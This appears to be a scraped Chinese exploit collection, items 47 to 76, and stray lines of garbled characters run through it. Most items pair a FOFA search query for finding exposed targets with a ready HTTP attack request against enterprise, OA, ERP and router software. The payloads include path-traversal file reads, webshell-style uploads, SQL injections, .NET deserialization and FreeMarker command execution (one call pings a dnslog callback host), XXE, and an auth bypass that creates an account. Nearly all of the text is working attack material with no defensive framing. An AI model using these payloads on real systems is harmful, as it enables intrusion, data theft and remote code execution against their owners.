. f8 C5 Y# F" b+ X) R% P3 k8 N  l
2 \) e3 r# T3 G- ~& J
47. 用友GRP A++Cloud 政府财务云 任意文件读取
( |: Q8 m5 F5 }% R5 r# Y& }FOFA：body="/pf/portal/login/css/fonts/style.css"
% _/ U/ f: j: H" P. I. j3 ~2 W/ rGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
5 F+ o( ^) o8 }4 Z: P2 GUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
5 c; `7 I4 g4 E6 e9 O) }) lConnection: close

( X! r4 }$ E8 T% f6 D) R1 C5 z
! k# M( a: n: Y1 a& j; |9 g
+ V9 Q0 \$ L& q5 p9 x$ O48. 用友U8 CRM swfupload 任意文件上传
9 C( B$ @* Z" y' @FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
4 r5 F  I, d8 i$ y" Z( y( PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 ~; ^+ J$ L! F* [( C4 t  KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, E0 Q) i& ~, Y8 c' L3 eAccept-Encoding: gzip, deflate
5 @7 T4 v6 `3 lContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
, S; H5 z$ ]( v& l: y& z------269520967239406871642430066855
2 f2 w- f/ j- v; vContent-Disposition: form-data; name="file"; filename="s.php"
1231
$ P! {% Y8 v, c( e  o) {Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
9 J9 q, P, X/ H% L3 l. Mupload
------269520967239406871642430066855--
3 s( C7 }8 Q6 ?0 a& l/ C$ V! o

  H2 P: F6 s2 N; w5 J49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
: a+ G; k& s9 Q& z& B+ }8 c5 O( aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- E/ ?! M! V) G, O% zContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 n2 |% U" I: F, i( [- Y4 |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

# \. Q/ f. b1 u, U0 W-----------------------------vvv3wdayqv3yppdxvn3w
/ j6 k4 X9 b! n; b8 XContent-Disposition: form-data; name="file"; filename="%s.php "
: V9 \' Y$ Z. N( R& {2 T. i5 _0 E( \Content-Type: application/octet-stream

0 T. `. R( u8 m. p  K) u1 [wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
: C. S# k) C8 L4 n' ~& |$ L& t& n
upload
-----------------------------vvv3wdayqv3yppdxvn3w--

9 Y: P& Z" m: [5 U2 ~
6 u) T% P& ~" Q5 s, D) ?http://x.x.x.x/tmpfile/updB3CB.tmp.php
/ c0 C: U  Q8 _2 |
50. QDocs Smart School 6.4.1 filterRecords SQL注入
( M* c8 M# W9 Y7 h3 u9 ?, H' }FOFA：body="close closebtnmodal"
3 u; y; v: c  M2 a: F5 ^POST /course/filterRecords/ HTTP/1.1
  C9 m+ V6 L  c. n6 ~Host: x.x.x.x
$ [$ O$ c4 r3 J! I+ FUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
4 n' y, Q. C, K6 a4 |( ~Connection: close
' ~: {) q/ A) tContent-Length: 224
Accept: */*
1 A. {2 R  u  d. jAccept-Language: en
; T1 q) D- u9 q" rContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( ^4 G5 w. t! C& G  l+ C; q
: n+ z" Q9 x9 z8 K& O" T" {searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
# C; G: s: Q$ I. M

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
& f  n: i' q) sGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
" `5 a2 B4 `1 k; @0 f+ R3 f' `. aHost: your-ip
0 i2 B3 l: h* p% b  CUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
/ L$ c7 T! T! ^* u9 ]% S; r7 uAccept-Language: zh-CN,zh;q=0.9
Connection: close
( C# _3 I& a( Y2 X9 D4 A) d
2 C- e" c, b# @, t5 ?
52. 泛微E-Office json_common.php sql注入
$ J1 s- _0 _' U3 k0 zFOFA：app="泛微-EOffice"
0 i; N& T& q. o3 V& x* j( f5 NPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 I7 @! r2 M# VConnection: close
. ~2 ^5 |( c$ \. cContent-Length: 87
7 y) l7 f8 b% V4 WAccept: */*
8 j4 P4 a# g* P+ n: PAccept-Language: en
8 s" t" j$ q1 i; t& CContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

- `- P( j4 L7 y, f' J2 ]tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

/ {5 O- D; o8 r. R% h6 }" s
7 R. x4 @7 V: a: F0 l  x. Q53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
0 ]0 ^% s7 P! x6 R- F; \' C! n; L/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
0 Q/ y' s: b+ ]& X/ l3 T
: a& }; M+ \% [8 H# `
0 {$ B$ v9 y0 t& q; U& a54. 畅捷通T+ getstorewarehousebystore 远程代码执行
5 j7 h; \' s" B8 t0 qFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
) p; I' b$ t# A  ~7 L8 G. Q0 V"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
7 b! |; X6 a. b9 MHost: x.x.x.x
! a1 A- p# M" O+ t) r/ _  S$ j' dUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
+ j% N& z: d5 F8 g) y9 \6 {0 z"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
2 ^& w$ g- ?/ H" \. w. ~  a9 @ "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 a; g+ T1 _+ I6 R6 |- \5 n    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 K! s) A  C8 |" V1 ^" @8 I    "FileName":"cmd",
5 m, [% x% E  T2 C3 s/ x* M    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
+ k5 |$ g  a4 S. k# h* ^  }
}

# ]6 @' W- {  G% q7 x9 ^
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


/ ]. Q+ R" L0 `# c# i# Y55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
9 ^; W5 @' |6 U- \- s第一步，通过
( C) J' _; C; n5 \8 w& A; r/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

- [) Q/ W5 _8 a: h56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
$ V: t; c4 d/ E: @Host: x.x.x.x
( W! G* G0 F: h9 ?2 Z! Y8 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
# B# W  |/ l* a; z' l) a/ i  jContent-Type: application/json
2 {( r8 `% S3 F2 c8 ^2 {% E
4 z  G0 W+ Y1 }2 Y/ `/ U; @{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 Y/ l6 t' |, C: h: z9 F2 B4 G        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
- Y% U4 P( n) b/ f# l9 r. Y" C6 ?       }
; b  q  X! B& X* m, G0 j    }
0 J( O& |5 s! a9 U  }
}
9 b; m) \+ G. H# L  @+ C

57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
9 C* G0 y- ~2 l  h0 ]4 U* nGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
+ B' W( @/ R# \0 v* d. @$ }Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ }+ K4 x/ ]6 xAccept-Charset: utf-8
; a; Z+ U9 N; u9 F, d. ]6 XAccept-Encoding: gzip, deflate
1 A& }- T1 ?* q  B9 F% q' lConnection: close
5 ^! e% I' s. q8 T$ S- I$ j
" Y( l4 e& W' w+ X- X# T5 M, S
. i  P: F' y/ j3 o" O; w58. 畅捷通T+ KeyInfoList.aspx sql注入
" w( T# {6 L- LFOFA：app="畅捷通-TPlus"
9 p& V; B7 ~/ L8 w$ O! T" q& [. G3 EGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; W* Z+ _6 V. x$ _2 yAccept-Charset: utf-8
" n) d5 e) i7 ^1 [Accept-Encoding: gzip, deflate
# _3 ?: p' s% C' d+ V. O# p" B- WConnection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
& X9 P* ~+ ]$ c8 u8 GPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
. n+ T- j/ l  N( B+ I( lContent-Type: application/x-www-form-urlencoded
/ [( v; v- }! \1 @Accept-Encoding: gzip
1 K( j$ |' {4 D# w. l  b
$ s* c. X+ i4 r" \$ i, e9 |PAYLOAD

) {) @1 }, G; e5 J# f& y; ^
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
- v: u! r7 B' r1 y" p3 KHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; @; J: G( |9 }7 V4 X/ L' A5 w$ w, gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* z' B" z0 ?+ X2 V+ q: v* ^

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
( ~. i) R5 X/ w! C$ u& z0 XPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, I5 r0 y1 s1 Z; U1 r! P( OConnection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
4 s2 i3 g, P$ \) b- XAccept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


  n  l1 ^8 [, }9 g9 Y62. IP-guard WebServer 远程命令执行
" G8 h1 _* h9 O  \4 a0 S8 {FOFA："IP-guard" && icon_hash="2030860561"
  B4 }; M6 Z% _5 R1 t: U0 n$ vGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
. q9 \; x5 L$ S% f' uHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
0 x  e$ q' z, |Connection: close
/ ?4 m7 q% c' R  s6 `; v5 ~Accept: */*
Accept-Language: en
Accept-Encoding: gzip

5 T" R7 l0 {4 `# a
. t' C* f- h: h& Z- B3 Y; ]访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
2 ?5 }. K( T; m( k' w" G1 V

63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
. A2 i  i3 G0 ]" |% p4 I& zFOFA：icon_hash="2030860561"
1 j. M4 c% z- `- _& n( iPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
0 ~: D6 T' y% {( EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1 v" W: Q+ w! ]5 {/ Z6 \$ F# nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 j0 {. D# Z; ^3 b1 ?9 ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

  H! x& N+ A5 @( h. F64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
& n- V3 O- W/ Z, [/ EPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
9 z3 ^  E- i. O  D6 bHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
( x- r& q. S# B! f- p+ f) t: r: @Connection: close
: Z; ?; M. g' |" gContent-Length: 369
+ m  M8 G) `6 ]Accept: */*
3 J2 i# r/ X0 o% o+ pAccept-Language: en
) j0 d. L+ {% C' @: P9 BContent-Type: text/xml; charset=utf-8
/ j, R  J" k1 `' N) h) ?Accept-Encoding: gzip
% ]3 _: C" X' r& n" G
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
; r) M6 e$ b2 ]1 `: U6 J1 O<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
' k* K2 X# ?- M) _& a& G      <sId>1';waitfor delay '0:0:5'--+</sId>
% }/ B4 l) @8 U: t5 _    </GetOSpById>
  </soap:Body>
</soap:Envelope>
( q1 T3 V4 @, j  X9 F
8 s. k! D  h' a7 n- q; Y
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
; ?) S; k$ v$ z+ K8 T6 dAccept: */*
Connection: close
. o$ a1 S2 @" K4 ^6 CAccept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


+ P. g1 E' i/ L: A5 c; \66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
. C# J0 v, b5 _FOFA：app="万户ezOFFICE协同管理平台"
6 ~, w$ A; c" \2 S( G
$ m. x; h- ?' l6 p. Q3 fGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
- n" W7 ^, g. l6 F$ p. h2 l2 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
5 q' H$ S2 u( g" l: q6 U% eAccept-Language: en
: M, i4 o7 `9 \8 U8 {Accept-Encoding: gzip
& b' T0 V# X0 s8 C6 i, Y
( ]$ w8 \8 H$ }# i
5 ?( I' d$ w) E) Z9 N第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
$ l# ^0 D! u: YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
; f, B( x( h0 [1 e) X9 C# Z# ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
1 M# w7 U( E5 }: rContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
( ~( O* z, M, N0 A) i& |Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
) Z% N" c& B& h- m. W7 Y# G
' a' F7 x( F) W* z8 Z<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
; v' w% b2 ^; N8 `8 d0 l2 t: \# B

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
5 {. d; G  @. ]$ o- mFOFA：app="万户ezOFFICE协同管理平台"
* p8 q! A3 x2 GGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
, M9 M, X- m- c& J" N5 L8 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
) Z* i; F$ g5 t3 K( Z; E. t) V5 IAccept-Language: zh-CN,zh;q=0.9
8 ]( e# C+ {; y7 u* jConnection: close


% v0 O4 }  w& L( |/ T69. 万户 ezOFFICE contract_gd.jsp SQL注入
) P: C+ Z5 _1 p' @0 oFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
9 Y3 D; c7 T. A3 x) MUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ Z' j. [9 X* A: D1 h4 I* \Accept-Encoding: gzip, deflate
- Y7 U7 J+ B( C' S' HAccept: */*
Connection: keep-alive
4 K  I3 D( u0 i3 Z9 Z% Q

70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
, Y; X1 ]& B* b5 uPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
" ]; `: T4 b9 p5 W8 h( W% d3 MSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
$ Q. z" L0 I$ R5 k% BContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
5 e# t* o6 t6 @3 f% C& A$ h: p

- l/ M1 c  p/ q' T4 r5 Q71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
+ |/ X- ~  k: P8 {" q% MFOFA：body="PM2项目管理系统BS版增强工具.zip"
( d' p" q& j2 b/ E# n4 CGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
1 N7 ]! X% s: ^. y: k# @7 U, c1 sUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 R; f9 h' v1 WConnection: close
: G: S- g8 @/ kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 w3 ?0 @. i. b) I; u( B% uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 P0 A8 x4 q, Q, w5 j+ H; xUpgrade-Insecure-Requests: 1
: z/ p* j; ^" O9 c2 ~9 Y! ~
' W" `4 l# `# V$ V
; U$ ?; s9 }( H/ F; z% e72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
9 T; O2 d0 L) r0 g/ a: t0 i* G* qPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
- [2 `" s. [# C2 R1 GConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


9 t) T9 {+ J9 Q- p- j73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
/ U/ E; i1 d$ f2 x& A  iHost:
5 Q6 S  `0 i% }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
. E6 N9 r, \3 A, y0 u9 qContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3

. r" i# ~2 I! U7 C& V! sPAYLOAD
' b3 w: g& w& B& q- P& ~6 I9 |
+ N, |8 b" W( H# L. X. F5 x
74. 致远M3-server 6_1sp1 反序列化RCE
6 G* z  {: S0 DFOFA：title="M3-Server"
9 {4 O+ t) d  @( C/ I% `9 z8 hPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
6 t4 s( a4 E8 I9 P. LGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
3 _- ^; E8 s8 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 N) X5 |9 f. a  Q' ]6 bConnection: close
# i" ]# B) U4 T& p4 {( Z; Q" SAccept: */*
Accept-Language: en
' @6 q% [, t/ q0 eAccept-Encoding: gzip

- Y& R0 E* F6 `: G& \& `# ~
- G9 |, q- T6 A9 O. MGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
  u! s; u8 F! }& z/ |8 b9 j' e2 i
* E. u3 j- N* G2 v) c
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
. L) F3 ~* N# K7 }! qPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
9 U3 n% q  C. `/ }) F# T$ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# Q  t: P$ y' I6 T; l5 SConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
- u4 Q2 ~1 H3 C7 B# V# bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
* K: U6 y" C8 ]- r
7 D' O8 z" p# b. s( ~' U) z{
"command": "GetFZinfo",
5 u- t4 w9 W0 Y  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
7 c# p: p2 ^0 M1 Z! w2 N+ h  A

5 v9 J" u* ?+ i  ?9 \GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

# `  p; I: l& ^- k

